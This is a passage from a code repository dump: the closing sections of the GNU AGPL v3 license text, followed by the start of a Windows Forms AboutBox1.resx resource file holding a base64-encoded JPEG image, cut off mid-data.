335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /掩日2.0/AboutBox1.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwg 124 | JC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIy 125 | MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAK5AYgDASIAAhEBAxEB/8QA 126 | HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh 127 | MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW 128 | V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG 129 | x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF 130 | BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV 131 | YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE 132 | hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq 133 | 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxOWaXzpP3j/eP8RpnnSf89H/76NEv+uk/3j/OmYrqMLj/ADpf 134 | +ej/APfRpfOl/wCej/8AfRpmKMUxC+dL/wA9H/76NL50v/PR/wDvo00ClpAO86X/AJ6P/wB9Gl86X/no 135 | /wD30aYKKoQ7zZf+ej/99Gjz5f8Ano//AH0abSUgJhPKR/rH/wC+jS+dL/z0f/vo1ADin9qaEx/nS/8A 136 | PR/++jSefL/z0f8A76NMpDTAeZ5f+ej/APfRpPPlP/LR/wDvo1HS4qdxj/Ol/wCer/8AfRo86X/no/8A 137 | 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 225 